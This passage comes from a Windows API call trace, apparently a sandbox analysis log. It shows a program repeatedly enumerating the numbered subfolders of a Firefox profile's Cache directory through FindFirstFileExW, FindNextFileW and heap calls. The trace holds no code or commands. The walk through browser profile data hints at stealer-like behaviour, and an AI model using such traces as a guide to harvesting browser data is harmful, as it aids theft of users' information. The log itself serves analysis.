ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc1429840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1429840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4B", cAlternateFileName="")) returned 1 [0087.179] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc1429840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1429840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4B", cAlternateFileName="")) returned 0 [0087.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad008 | out: hHeap=0x5b0000) returned 1 [0087.179] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ace78 | out: hHeap=0x5b0000) returned 1 [0087.179] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4", cAlternateFileName="")) returned 1 [0087.179] lstrcmpW (lpString1="4", lpString2=".") returned 1 [0087.179] lstrcmpW (lpString1="4", lpString2="..") returned 1 [0087.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ace78 [0087.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6acf40 | out: hHeap=0x5b0000) returned 1 [0087.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6acf40 [0087.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178bc8 [0087.180] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.180] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.180] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.180] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.180] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.180] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ad008 [0087.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178bc8 | out: hHeap=0x5b0000) returned 1 [0087.180] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.180] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.181] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.181] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad008 | out: hHeap=0x5b0000) returned 1 [0087.181] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6acf40 | out: hHeap=0x5b0000) returned 1 [0087.181] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5", cAlternateFileName="")) returned 1 [0087.181] lstrcmpW (lpString1="5", lpString2=".") returned 1 [0087.181] lstrcmpW (lpString1="5", lpString2="..") returned 1 [0087.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6acf40 [0087.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ace78 | out: hHeap=0x5b0000) returned 1 [0087.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ace78 [0087.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178bc8 [0087.181] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.183] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.183] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.183] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.183] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.183] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ad008 [0087.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178bc8 | out: hHeap=0x5b0000) returned 1 [0087.183] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.183] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.183] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.183] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad008 | out: hHeap=0x5b0000) returned 1 [0087.183] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.184] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ace78 | out: hHeap=0x5b0000) returned 1 [0087.184] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6", cAlternateFileName="")) returned 1 [0087.184] lstrcmpW (lpString1="6", lpString2=".") returned 1 [0087.184] lstrcmpW (lpString1="6", lpString2="..") returned 1 [0087.184] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ace78 [0087.184] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6acf40 | out: hHeap=0x5b0000) returned 1 [0087.184] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6acf40 [0087.184] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178bc8 [0087.184] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.184] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.184] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.184] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.184] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.184] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.184] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ad008 [0087.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178bc8 | out: hHeap=0x5b0000) returned 1 [0087.185] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.185] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.185] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.185] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad008 | out: hHeap=0x5b0000) returned 1 [0087.185] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6acf40 | out: hHeap=0x5b0000) returned 1 [0087.185] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7", cAlternateFileName="")) returned 1 [0087.185] lstrcmpW (lpString1="7", lpString2=".") returned 1 [0087.185] lstrcmpW (lpString1="7", lpString2="..") returned 1 [0087.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6acf40 [0087.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ace78 | out: hHeap=0x5b0000) returned 1 [0087.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ace78 [0087.185] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178bc8 [0087.185] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.187] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.187] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.187] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.187] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.187] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ad008 [0087.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178bc8 | out: hHeap=0x5b0000) returned 1 [0087.187] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.187] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.187] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.187] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad008 | out: hHeap=0x5b0000) returned 1 [0087.187] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ace78 | out: hHeap=0x5b0000) returned 1 [0087.188] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8", cAlternateFileName="")) returned 1 [0087.188] lstrcmpW (lpString1="8", lpString2=".") returned 1 [0087.188] lstrcmpW (lpString1="8", lpString2="..") returned 1 [0087.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ace78 [0087.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6acf40 | out: hHeap=0x5b0000) returned 1 [0087.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6acf40 [0087.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178bc8 [0087.188] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.188] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.188] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.188] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.188] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.188] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ad008 [0087.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178bc8 | out: hHeap=0x5b0000) returned 1 [0087.189] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.189] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.189] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.189] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad008 | out: hHeap=0x5b0000) returned 1 [0087.189] FindClose (in: hFindFile=0x600590 | out: hFindFile=0x600590) returned 1 [0087.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6acf40 | out: hHeap=0x5b0000) returned 1 [0087.189] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9", cAlternateFileName="")) returned 1 [0087.189] lstrcmpW (lpString1="9", lpString2=".") returned 1 [0087.189] lstrcmpW (lpString1="9", lpString2="..") returned 1 [0087.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6acf40 [0087.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ace78 | out: hHeap=0x5b0000) returned 1 [0087.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ace78 [0087.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x3178bc8 [0087.190] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 